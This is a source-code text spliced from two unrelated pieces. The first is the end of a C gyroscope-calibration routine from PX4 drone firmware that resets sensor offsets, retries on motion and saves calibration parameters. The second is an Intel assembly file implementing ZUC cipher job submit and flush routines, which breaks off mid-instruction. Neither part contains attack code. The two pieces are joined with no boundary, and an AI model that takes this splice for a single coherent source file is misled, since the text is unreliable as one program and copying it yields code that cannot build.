worker_data.sensor_correction_sub = orb_subscribe(ORB_ID(sensor_correction)); for (unsigned s = 0; s < max_gyros; s++) { char str[30]; // Reset gyro ids to unavailable. worker_data.device_id[s] = 0; // And set default subscriber values. worker_data.gyro_sensor_sub[s] = -1; (void)sprintf(str, "CAL_GYRO%u_ID", s); res = param_set_no_notification(param_find(str), &(worker_data.device_id[s])); if (res != PX4_OK) { calibration_log_critical(mavlink_log_pub, "[cal] Unable to reset CAL_GYRO%u_ID", s); return PX4_ERROR; } // Reset all offsets to 0 and scales to 1 (void)memcpy(&worker_data.gyro_scale[s], &gyro_scale_zero, sizeof(gyro_scale_zero)); #ifdef __PX4_NUTTX sprintf(str, "%s%u", GYRO_BASE_DEVICE_PATH, s); int fd = px4_open(str, 0); if (fd >= 0) { worker_data.device_id[s] = px4_ioctl(fd, DEVIOCGDEVICEID, 0); res = px4_ioctl(fd, GYROIOCSSCALE, (long unsigned int)&gyro_scale_zero); px4_close(fd); if (res != PX4_OK) { calibration_log_critical(mavlink_log_pub, CAL_ERROR_RESET_CAL_MSG, s); return PX4_ERROR; } } #else (void)sprintf(str, "CAL_GYRO%u_XOFF", s); res = param_set_no_notification(param_find(str), &gyro_scale_zero.x_offset); if (res != PX4_OK) { PX4_ERR("unable to reset %s", str); } (void)sprintf(str, "CAL_GYRO%u_YOFF", s); res = param_set_no_notification(param_find(str), &gyro_scale_zero.y_offset); if (res != PX4_OK) { PX4_ERR("unable to reset %s", str); } (void)sprintf(str, "CAL_GYRO%u_ZOFF", s); res = param_set_no_notification(param_find(str), &gyro_scale_zero.z_offset); if (res != PX4_OK) { PX4_ERR("unable to reset %s", str); } (void)sprintf(str, "CAL_GYRO%u_XSCALE", s); res = param_set_no_notification(param_find(str), &gyro_scale_zero.x_scale); if (res != PX4_OK) { PX4_ERR("unable to reset %s", str); } (void)sprintf(str, "CAL_GYRO%u_YSCALE", s); res = param_set_no_notification(param_find(str), &gyro_scale_zero.y_scale); if (res != PX4_OK) { PX4_ERR("unable to reset %s", str); } (void)sprintf(str, "CAL_GYRO%u_ZSCALE", s); res = param_set_no_notification(param_find(str), &gyro_scale_zero.z_scale); if (res != PX4_OK) { PX4_ERR("unable to reset %s", str); } param_notify_changes(); #endif } // We should not try to subscribe if the topic doesn't actually exist and can be counted. const unsigned orb_gyro_count = orb_group_count(ORB_ID(sensor_gyro)); // Warn that we will not calibrate more than max_gyros gyroscopes if (orb_gyro_count > max_gyros) { calibration_log_critical(mavlink_log_pub, "[cal] Detected %u gyros, but will calibrate only %u", orb_gyro_count, max_gyros); } for (unsigned cur_gyro = 0; cur_gyro < orb_gyro_count && cur_gyro < max_gyros; cur_gyro++) { // Lock in to correct ORB instance bool found_cur_gyro = false; for(unsigned i = 0; i < orb_gyro_count && !found_cur_gyro; i++) { worker_data.gyro_sensor_sub[cur_gyro] = orb_subscribe_multi(ORB_ID(sensor_gyro), i); struct gyro_report report; orb_copy(ORB_ID(sensor_gyro), worker_data.gyro_sensor_sub[cur_gyro], &report); #ifdef __PX4_NUTTX // For NuttX, we get the UNIQUE device ID from the sensor driver via an IOCTL // and match it up with the one from the uORB subscription, because the // instance ordering of uORB and the order of the FDs may not be the same. if(report.device_id == worker_data.device_id[cur_gyro]) { // Device IDs match, correct ORB instance for this gyro found_cur_gyro = true; } else { orb_unsubscribe(worker_data.gyro_sensor_sub[cur_gyro]); } #else // For the DriverFramework drivers, we fill device ID (this is the first time) by copying one report. worker_data.device_id[cur_gyro] = report.device_id; found_cur_gyro = true; #endif } if(!found_cur_gyro) { calibration_log_critical(mavlink_log_pub, "[cal] Gyro #%u (ID %u) no matching uORB devid", cur_gyro, worker_data.device_id[cur_gyro]); res = calibrate_return_error; break; } if (worker_data.device_id[cur_gyro] != 0) { // Get priority int32_t prio; orb_priority(worker_data.gyro_sensor_sub[cur_gyro], &prio); if (prio > device_prio_max) { device_prio_max = prio; device_id_primary = worker_data.device_id[cur_gyro]; } } else { calibration_log_critical(mavlink_log_pub, "[cal] Gyro #%u no device id, abort", cur_gyro); } } int cancel_sub = calibrate_cancel_subscribe(); unsigned try_count = 0; unsigned max_tries = 20; res = PX4_ERROR; do { // Calibrate gyro and ensure user didn't move calibrate_return cal_return = gyro_calibration_worker(cancel_sub, &worker_data); if (cal_return == calibrate_return_cancelled) { // Cancel message already sent, we are done here res = PX4_ERROR; break; } else if (cal_return == calibrate_return_error) { res = PX4_ERROR; } else { /* check offsets */ float xdiff = worker_data.gyro_report_0.x - worker_data.gyro_scale[0].x_offset; float ydiff = worker_data.gyro_report_0.y - worker_data.gyro_scale[0].y_offset; float zdiff = worker_data.gyro_report_0.z - worker_data.gyro_scale[0].z_offset; /* maximum allowable calibration error in radians */ const float maxoff = 0.01f; if (!PX4_ISFINITE(worker_data.gyro_scale[0].x_offset) || !PX4_ISFINITE(worker_data.gyro_scale[0].y_offset) || !PX4_ISFINITE(worker_data.gyro_scale[0].z_offset) || fabsf(xdiff) > maxoff || fabsf(ydiff) > maxoff || fabsf(zdiff) > maxoff) { calibration_log_critical(mavlink_log_pub, "[cal] motion, retrying.."); res = PX4_ERROR; } else { res = PX4_OK; } } try_count++; } while (res == PX4_ERROR && try_count <= max_tries); if (try_count >= max_tries) { calibration_log_critical(mavlink_log_pub, "[cal] ERROR: Motion during calibration"); res = PX4_ERROR; } calibrate_cancel_unsubscribe(cancel_sub); for (unsigned s = 0; s < max_gyros; s++) { px4_close(worker_data.gyro_sensor_sub[s]); } if (res == PX4_OK) { /* set offset parameters to new values */ bool failed = false; failed = failed || (PX4_OK != param_set_no_notification(param_find("CAL_GYRO_PRIME"), &(device_id_primary))); bool tc_locked[3] = {false}; // true when the thermal parameter instance has already been adjusted by the calibrator for (unsigned uorb_index = 0; uorb_index < max_gyros; uorb_index++) { if (worker_data.device_id[uorb_index] != 0) { char str[30]; /* check if thermal compensation is enabled */ int32_t tc_enabled_int; param_get(param_find("TC_G_ENABLE"), &(tc_enabled_int)); if (tc_enabled_int == 1) { /* Get struct containing sensor thermal compensation data */ struct sensor_correction_s sensor_correction; /**< sensor thermal corrections */ memset(&sensor_correction, 0, sizeof(sensor_correction)); orb_copy(ORB_ID(sensor_correction), worker_data.sensor_correction_sub, &sensor_correction); /* don't allow a parameter instance to be calibrated again by another uORB instance */ if (!tc_locked[sensor_correction.gyro_mapping[uorb_index]]) { tc_locked[sensor_correction.gyro_mapping[uorb_index]] = true; /* update the _X0_ terms to include the additional offset */ int32_t handle; float val; for (unsigned axis_index = 0; axis_index < 3; axis_index++) { val = 0.0f; (void)sprintf(str, "TC_G%u_X0_%u", sensor_correction.gyro_mapping[uorb_index], axis_index); handle = param_find(str); param_get(handle, &val); if (axis_index == 0) { val += worker_data.gyro_scale[uorb_index].x_offset; } else if (axis_index == 1) { val += worker_data.gyro_scale[uorb_index].y_offset; } else if (axis_index == 2) { val += worker_data.gyro_scale[uorb_index].z_offset; } failed |= (PX4_OK != param_set_no_notification(handle, &val)); } param_notify_changes(); } // Ensure the calibration values used the driver are at default settings worker_data.gyro_scale[uorb_index].x_offset = 0.f; worker_data.gyro_scale[uorb_index].y_offset = 0.f; worker_data.gyro_scale[uorb_index].z_offset = 0.f; } (void)sprintf(str, "CAL_GYRO%u_XOFF", uorb_index); failed |= (PX4_OK != param_set_no_notification(param_find(str), &(worker_data.gyro_scale[uorb_index].x_offset))); (void)sprintf(str, "CAL_GYRO%u_YOFF", uorb_index); failed |= (PX4_OK != param_set_no_notification(param_find(str), &(worker_data.gyro_scale[uorb_index].y_offset))); (void)sprintf(str, "CAL_GYRO%u_ZOFF", uorb_index); failed |= (PX4_OK != param_set_no_notification(param_find(str), &(worker_data.gyro_scale[uorb_index].z_offset))); (void)sprintf(str, "CAL_GYRO%u_ID", uorb_index); failed |= (PX4_OK != param_set_no_notification(param_find(str), &(worker_data.device_id[uorb_index]))); #ifdef __PX4_NUTTX /* apply new scaling and offsets */ (void)sprintf(str, "%s%u", GYRO_BASE_DEVICE_PATH, uorb_index); int fd = px4_open(str, 0); if (fd < 0) { failed = true; continue; } res = px4_ioctl(fd, GYROIOCSSCALE, (long unsigned int)&worker_data.gyro_scale[uorb_index]); px4_close(fd); if (res != PX4_OK) { calibration_log_critical(mavlink_log_pub, CAL_ERROR_APPLY_CAL_MSG, 1); } #endif } } if (failed) { calibration_log_critical(mavlink_log_pub, "[cal] ERROR: failed to set offset params"); res = PX4_ERROR; } } /* if there is a any preflight-check system response, let the barrage of messages through */ usleep(200000); if (res == PX4_OK) { calibration_log_info(mavlink_log_pub, CAL_QGC_DONE_MSG, sensor_name); } else { calibration_log_info(mavlink_log_pub, CAL_QGC_FAILED_MSG, sensor_name); } orb_unsubscribe(worker_data.sensor_correction_sub); /* give this message enough time to propagate */ usleep(600000); return res; }
;; ;; Copyright (c) 2019-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "include/imb_job.asm" %include "include/mb_mgr_datastruct.asm" %include "include/reg_sizes.asm" %include "include/const.inc" %include "include/cet.inc" %ifndef SUBMIT_JOB_ZUC128_EEA3 %define SUBMIT_JOB_ZUC128_EEA3 submit_job_zuc_eea3_no_gfni_sse %define FLUSH_JOB_ZUC128_EEA3 flush_job_zuc_eea3_no_gfni_sse %define SUBMIT_JOB_ZUC256_EEA3 submit_job_zuc256_eea3_no_gfni_sse %define FLUSH_JOB_ZUC256_EEA3 flush_job_zuc256_eea3_no_gfni_sse %define SUBMIT_JOB_ZUC128_EIA3 submit_job_zuc_eia3_no_gfni_sse %define FLUSH_JOB_ZUC128_EIA3 flush_job_zuc_eia3_no_gfni_sse %define FLUSH_JOB_ZUC256_EIA3 flush_job_zuc256_eia3_no_gfni_sse %define SUBMIT_JOB_ZUC256_EIA3 submit_job_zuc256_eia3_no_gfni_sse %define ZUC_EIA3_4_BUFFER zuc_eia3_4_buffer_job_no_gfni_sse %define ZUC256_EIA3_4_BUFFER zuc256_eia3_4_buffer_job_no_gfni_sse %define ZUC128_INIT_4 asm_ZucInitialization_4_sse %define ZUC256_INIT_4 asm_Zuc256Initialization_4_sse %define ZUC_CIPHER_4 asm_ZucCipher_4_sse %endif section .data default rel align 16 broadcast_word: db 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01 db 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01 align 16 all_ffs_top_64bits: db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF clear_lane_mask_tab: dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, clear_lane_mask_tab_start: dd 0x00000000, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, align 16 bitmask_to_dword_tab: dd 0x00000000, 0x00000000, 0x00000000, 0x00000000 dd 0xFFFFFFFF, 0x00000000, 0x00000000, 0x00000000 dd 0x00000000, 0xFFFFFFFF, 0x00000000, 0x00000000 dd 0xFFFFFFFF, 0xFFFFFFFF, 0x00000000, 0x00000000 dd 0x00000000, 0x00000000, 0xFFFFFFFF, 0x00000000 dd 0xFFFFFFFF, 0x00000000, 0xFFFFFFFF, 0x00000000 dd 0x00000000, 0xFFFFFFFF, 0xFFFFFFFF, 0x00000000 dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x00000000 dd 0x00000000, 0x00000000, 0x00000000, 0xFFFFFFFF dd 0xFFFFFFFF, 0x00000000, 0x00000000, 0xFFFFFFFF dd 0x00000000, 0xFFFFFFFF, 0x00000000, 0xFFFFFFFF dd 0xFFFFFFFF, 0xFFFFFFFF, 0x00000000, 0xFFFFFFFF dd 0x00000000, 0x00000000, 0xFFFFFFFF, 0xFFFFFFFF dd 0xFFFFFFFF, 0x00000000, 0xFFFFFFFF, 0xFFFFFFFF dd 0x00000000, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF extern ZUC_EIA3_4_BUFFER extern ZUC256_EIA3_4_BUFFER extern ZUC128_INIT_4 extern ZUC256_INIT_4 extern ZUC_CIPHER_4 %ifdef LINUX %define arg1 rdi %define arg2 rsi %define arg3 rdx %define arg4 rcx %define arg5 r8 %define arg6 r9 %else %define arg1 rcx %define arg2 rdx %define arg3 r8 %define arg4 r9 %define arg5 [rsp + 32] %define arg6 [rsp + 40] %endif %define state arg1 %define job arg2 %define job_rax rax ; This routine and its callee clobbers all GPRs struc STACK _state_save resq 2*(16+2) ; Space for ZUC LFSR + R1-2 _gpr_save: resq 10 _null_len_save: resq 1 _rsp_save: resq 1 endstruc section .text %define APPEND(a,b) a %+ b %define APPEND3(a,b,c) a %+ b %+ c ;; Clear state for multiple lanes in the OOO managers %macro CLEAR_ZUC_STATE 5 %define %%STATE %1 ;; [in] ZUC OOO manager pointer %define %%LANE_MASK %2 ;; [in/clobbered] bitmask with lanes to clear %define %%TMP %3 ;; [clobbered] Temporary GP register %define %%XTMP1 %4 ;; [clobbered] Temporary XMM register %define %%XTMP2 %5 ;; [clobbered] Temporary XMM register lea %%TMP, [rel bitmask_to_dword_tab] shl %%LANE_MASK, 4 ; Multiply by 16 to move through the table movdqa %%XTMP1, [%%TMP + %%LANE_MASK] pxor %%XTMP1, [rel clear_lane_mask_tab] ; NOT mask ;; Clear state for lanes %assign I 0 %rep (16 + 6) movdqa %%XTMP2, [%%STATE + _zuc_state + I*16] pand %%XTMP2, %%XTMP1 movdqa [%%STATE + _zuc_state + I*16], %%XTMP2 %assign I (I + 1) %endrep %endmacro ;; Clear state for a specified lane in the OOO manager %macro CLEAR_ZUC_LANE_STATE 5 %define %%STATE %1 ;; [in] ZUC OOO manager pointer %define %%LANE %2 ;; [in/clobbered] lane index %define %%TMP %3 ;; [clobbered] Temporary GP register %define %%XTMP1 %4 ;; [clobbered] Temporary YMM register %define %%XTMP2 %5 ;; [clobbered] Temporary YMM register shl %%LANE, 2 lea %%TMP, [rel clear_lane_mask_tab_start] sub %%TMP, %%LANE movdqu %%XTMP1, [%%TMP] %assign I 0 %rep (16 + 6) movdqa %%XTMP2, [%%STATE + _zuc_state + I*16] pand %%XTMP2, %%XTMP1 movdqa [%%STATE + _zuc_state + I*16], %%XTMP2 %assign I (I + 1) %endrep %endmacro %macro SUBMIT_JOB_ZUC_EEA3 1 %define %%KEY_SIZE %1 ; [constant] Key size (128 or 256) ; idx needs to be in rbp %define len rbp %define idx rbp %define lane r8 %define unused_lanes rbx %define tmp r11 %define tmp2 r13 %define tmp3 r14 %define min_len r15 mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _gpr_save + 8*8], state mov [rsp + _gpr_save + 8*9], job mov [rsp + _rsp_save], rax ; original SP mov unused_lanes, [state + _zuc_unused_lanes] movzx lane, BYTE(unused_lanes) shr unused_lanes, 8 mov tmp, [job + _iv] mov [state + _zuc_args_IV + lane*8], tmp mov [state + _zuc_unused_lanes], unused_lanes mov [state + _zuc_job_in_lane + lane*8], job ; New job that needs init (update bit in zuc_init_not_done bitmask) SHIFT_GP 1, lane, tmp, tmp2, left or [state + _zuc_init_not_done], BYTE(tmp) not tmp and [state + _zuc_unused_lane_bitmask], BYTE(tmp) mov tmp, [job + _src] add tmp, [job + _cipher_start_src_offset_in_bytes] mov [state + _zuc_args_in + lane*8], tmp mov tmp, [job + _enc_keys] mov [state + _zuc_args_keys + lane*8], tmp mov tmp, [job + _dst] mov [state + _zuc_args_out + lane*8], tmp ;; insert len into proper lane mov len, [job + _msg_len_to_cipher_in_bytes] movq xmm0, [state + _zuc_lens] XPINSRW xmm0, xmm1, tmp, lane, len, scale_x16 movq [state + _zuc_lens], xmm0 cmp unused_lanes, 0xff jne %%return_null_submit_eea3 ; Set all ffs in top 64 bits to invalid them por xmm0, [rel all_ffs_top_64bits] ; Find minimum length (searching for zero length, ; to retrieve already encrypted buffers) phminposuw xmm1, xmm0 pextrw min_len, xmm1, 0 ; min value pextrw idx, xmm1, 1 ; min index (0...3) cmp min_len, 0 je %%len_is_0_submit_eea3 ; Move state into r12, as register for state will be used ; to pass parameter to next function mov r12, state %assign I 0 %rep (16 + 2) movdqa xmm0, [r12 + _zuc_state + 16*I] movdqa [rsp + _state_save + 16*I], xmm0 %assign I (I + 1) %endrep ;; If Windows, reserve memory in stack for parameter transferring %ifndef LINUX ;; 24 bytes for 3 parameters sub rsp, 24 %endif lea arg1, [r12 + _zuc_args_keys] lea arg2, [r12 + _zuc_args_IV] lea arg3, [r12 + _zuc_state] %if %%KEY_SIZE == 256 ;; Setting "tag size" to 2 in case of ciphering ;; (dummy size, just for constant selecion at Initialization) mov arg4, 2 %endif %if %%KEY_SIZE == 128 call ZUC128_INIT_4 %else call ZUC256_INIT_4 %endif %ifndef LINUX add rsp, 24 %endif cmp byte [r12 + _zuc_init_not_done], 0x0f ; Init done for all lanes je %%skip_submit_restoring_state ;; Load mask containing FF's in lanes which init has just been done movzx DWORD(tmp3), byte [r12 + _zuc_init_not_done] lea tmp2, [rel bitmask_to_dword_tab] shl tmp3, 4 ; Multiply by 16 to move through the table movdqa xmm2, [tmp3 + tmp2] ;; Restore state from stack for lanes that did not need init %assign I 0 %rep (16 + 2) movdqa xmm0, [rsp + _state_save + 16*I] ; State before init movdqa xmm1, [r12 + _zuc_state + 16*I] ; State after init movdqa xmm3, xmm2 ; Zero out lanes that need to be restored in current state pand xmm1, xmm3 ; Zero out lanes that do not need to be restored in saved state pandn xmm3, xmm0 por xmm1, xmm3 movdqa [r12 + _zuc_state + 16*I], xmm1 ; Save new state %assign I (I + 1) %endrep %%skip_submit_restoring_state: %ifdef SAFE_DATA ;; Clear stack containing state info pxor xmm0, xmm0 %assign I 0 %rep (16 + 2) movdqa [rsp + _state_save + 16*I], xmm0 %assign I (I + 1) %endrep %endif mov byte [r12 + _zuc_init_not_done], 0 ; Init done for all lanes ;; If Windows, reserve memory in stack for parameter transferring %ifndef LINUX ;; 40 bytes for 5 parameters sub rsp, 40 %endif lea arg1, [r12 + _zuc_state] lea arg2, [r12 + _zuc_args_in] lea arg3, [r12 + _zuc_args_out] lea arg4, [r12 + _zuc_lens] mov arg5, min_len call ZUC_CIPHER_4 %ifndef LINUX add rsp, 40 %endif mov state, [rsp + _gpr_save + 8*8] mov job, [rsp + _gpr_save + 8*9] %%len_is_0_submit_eea3: ; process completed job "idx" mov job_rax, [state + _zuc_job_in_lane + idx*8] mov unused_lanes, [state + _zuc_unused_lanes] mov qword [state + _zuc_job_in_lane + idx*8], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_CIPHER shl unused_lanes, 8 or unused_lanes, idx mov [state + _zuc_unused_lanes], unused_lanes SHIFT_GP 1, idx, tmp, tmp2, left or [state + _zuc_unused_lane_bitmask], BYTE(tmp) %ifdef SAFE_DATA ; Clear ZUC state of the lane that is returned CLEAR_ZUC_LANE_STATE state, idx, tmp, xmm0, xmm1 %endif %%return_submit_eea3: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret %%return_null_submit_eea3: xor job_rax, job_rax jmp %%return_submit_eea3 %endmacro %macro FLUSH_JOB_ZUC_EEA3 1 %define %%KEY_SIZE %1 ; [constant] Key size (128 or 256) %define unused_lanes rbx %define tmp1 rbx %define tmp2 rax ; idx needs to be in rbp %define tmp rbp %define idx rbp %define tmp3 r8 %define tmp4 r9 %define tmp5 r10 %define min_len r14 ; Will be maintained after function calls mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _gpr_save + 8*8], state mov [rsp + _rsp_save], rax ; original SP ; check for empty mov unused_lanes, [state + _zuc_unused_lanes] bt unused_lanes, 32+7 jc %%return_null_flush_eea3 ; Set length = 0xFFFF in NULL jobs movq xmm0, [state + _zuc_lens] mov DWORD(tmp3), 0xffff %assign I 0 %rep 4 cmp qword [state + _zuc_job_in_lane + I*8], 0 jne APPEND(%%skip_copy_ffs_,I) pinsrw xmm0, DWORD(tmp3), I APPEND(%%skip_copy_ffs_,I): %assign I (I+1) %endrep movq [state + _zuc_lens], xmm0 ; Set all ffs in top 64 bits to invalid them por xmm0, [rel all_ffs_top_64bits] ; Find minimum length (searching for zero length, ; to retrieve already encrypted buffers) phminposuw xmm1, xmm0 pextrw min_len, xmm1, 0 ; min value pextrw idx, xmm1, 1 ; min index (0...3) cmp min_len, 0 je %%len_is_0_flush_eea3 ; copy good_lane to empty lanes mov tmp1, [state + _zuc_args_in + idx*8] mov tmp2, [state + _zuc_args_out + idx*8] mov tmp3, [state + _zuc_args_keys + idx*8] mov tmp4, [state + _zuc_args_IV + idx*8] %assign I 0 %rep 4 cmp qword [state + _zuc_job_in_lane + I*8], 0 jne APPEND(%%skip_eea3_,I) mov [state + _zuc_args_in + I*8], tmp1 mov [state + _zuc_args_out + I*8], tmp2 mov [state + _zuc_args_keys + I*8], tmp3 mov [state + _zuc_args_IV + I*8], tmp4 APPEND(%%skip_eea3_,I): %assign I (I+1) %endrep ; Move state into r12, as register for state will be used ; to pass parameter to next function mov r12, state cmp word [r12 + _zuc_init_not_done], 0 je %%skip_flush_init %assign I 0 %rep (16 + 2) movdqa xmm0, [r12 + _zuc_state + 16*I] movdqa [rsp + _state_save + 16*I], xmm0 %assign I (I + 1) %endrep ;; If Windows, reserve memory in stack for parameter transferring %ifndef LINUX ;; 24 bytes for 3 parameters sub rsp, 24 %endif lea arg1, [r12 + _zuc_args_keys] lea arg2, [r12 + _zuc_args_IV] lea arg3, [r12 + _zuc_state] %if %%KEY_SIZE == 256 ;; Setting "tag size" to 2 in case of ciphering ;; (dummy size, just for constant selecion at Initialization) mov arg4, 2 %endif %if %%KEY_SIZE == 128 call ZUC128_INIT_4 %else call ZUC256_INIT_4 %endif %ifndef LINUX add rsp, 24 %endif cmp word [r12 + _zuc_init_not_done], 0x0f ; Init done for all lanes je %%skip_flush_restoring_state ;; Load mask containing FF's in lanes which init has just been done movzx DWORD(tmp3), byte [r12 + _zuc_init_not_done] lea tmp2, [rel bitmask_to_dword_tab] shl tmp3, 4 ; Multiply by 16 to move through the table movdqa xmm2, [tmp3 + tmp2] ;; Restore state from stack for lanes that did not need init %assign I 0 %rep (16 + 2) movdqa xmm0, [rsp + _state_save + 16*I] ; State before init movdqa xmm1, [r12 + _zuc_state + 16*I] ; State after init movdqa xmm3, xmm2 ; Zero out lanes that need to be restored in current state pand xmm1, xmm3 ; Zero out lanes that do not need to be restored in saved state pandn xmm3, xmm0 por xmm1, xmm3 movdqa [r12 + _zuc_state + 16*I], xmm1 ; Save new state %assign I (I + 1) %endrep %%skip_flush_restoring_state: %ifdef SAFE_DATA ;; Clear stack containing state info pxor xmm0, xmm0 %assign I 0 %rep (16 + 2) movdqa [rsp + _state_save + 16*I], xmm0 %assign I (I + 1) %endrep %endif mov word [r12 + _zuc_init_not_done], 0 ; Init done for all lanes %%skip_flush_init: ;; Copy state from good lane to NULL lanes %assign I 0 %rep (16 + 2) ; Read dword from good lane and broadcast to NULL lanes mov r13d, [r12 + _zuc_state + 16*I + idx*4] movdqa xmm1, [r12 + _zuc_state + 16*I] ; State after init %assign J 0 %rep 4 cmp qword [r12 + _zuc_job_in_lane + J*8], 0 jne APPEND3(%%skip_eea3_copy_,I,J) pinsrd xmm1, r13d, J APPEND3(%%skip_eea3_copy_,I,J): %assign J (J+1) %endrep movdqa [r12 + _zuc_state + 16*I], xmm1 ; Save new state %assign I (I+1) %endrep ;; If Windows, reserve memory in stack for parameter transferring %ifndef LINUX ;; 40 bytes for 5 parameters sub rsp, 40 %endif lea arg1, [r12 + _zuc_state] lea arg2, [r12 + _zuc_args_in] lea arg3, [r12 + _zuc_args_out] lea arg4, [r12 + _zuc_lens] mov arg5, min_len call ZUC_CIPHER_4 %ifndef LINUX add rsp, 40 %endif mov state, [rsp + _gpr_save + 8*8] ; Clear ZUC state of the lane that is returned and NULL lanes %ifdef SAFE_DATA SHIFT_GP 1, idx, tmp1, tmp2, left movzx DWORD(tmp3), byte [state + _zuc_unused_lane_bitmask] or tmp3, tmp1 ;; bitmask with NULL lanes and job to return CLEAR_ZUC_STATE state, tmp3, tmp2, xmm0, xmm1 jmp %%skip_flush_clear_state %endif %%len_is_0_flush_eea3: %ifdef SAFE_DATA ; Clear ZUC state of the lane that is returned mov tmp2, idx CLEAR_ZUC_LANE_STATE state, tmp2, tmp3, xmm0, xmm1 %%skip_flush_clear_state: %endif ; process completed job "idx" mov job_rax, [state + _zuc_job_in_lane + idx*8] mov unused_lanes, [state + _zuc_unused_lanes] mov qword [state + _zuc_job_in_lane + idx*8], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_CIPHER shl unused_lanes, 8 or unused_lanes, idx mov [state + _zuc_unused_lanes], unused_lanes SHIFT_GP 1, idx, tmp3, tmp4, left or [state + _zuc_unused_lane_bitmask], BYTE(tmp3) %%return_flush_eea3: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret %%return_null_flush_eea3: xor job_rax, job_rax jmp %%return_flush_eea3 %endmacro ; JOB* SUBMIT_JOB_ZUC128_EEA3(MB_MGR_ZUC_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(SUBMIT_JOB_ZUC128_EEA3,function,internal) SUBMIT_JOB_ZUC128_EEA3: endbranch64 SUBMIT_JOB_ZUC_EEA3 128 ; JOB* SUBMIT_JOB_ZUC256_EEA3(MB_MGR_ZUC_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(SUBMIT_JOB_ZUC256_EEA3,function,internal) SUBMIT_JOB_ZUC256_EEA3: endbranch64 SUBMIT_JOB_ZUC_EEA3 256 ; JOB* FLUSH_JOB_ZUC128_EEA3(MB_MGR_ZUC_OOO *state) ; arg 1 : state MKGLOBAL(FLUSH_JOB_ZUC128_EEA3,function,internal) FLUSH_JOB_ZUC128_EEA3: endbranch64 FLUSH_JOB_ZUC_EEA3 128 ; JOB* FLUSH_JOB_ZUC256_EEA3(MB_MGR_ZUC_OOO *state) ; arg 1 : state MKGLOBAL(FLUSH_JOB_ZUC256_EEA3,function,internal) FLUSH_JOB_ZUC256_EEA3: endbranch64 FLUSH_JOB_ZUC_EEA3 256 %macro SUBMIT_JOB_ZUC_EIA3 1 %define %%KEY_SIZE %1 ; [constant] Key size (128 or 256) ; idx needs to be in rbp %define len rbp %define idx rbp %define tmp rbp %define lane r8 %define unused_lanes rbx %define len2 r13 mov rax, rsp sub rsp, STACK_size and rsp, -16 mov 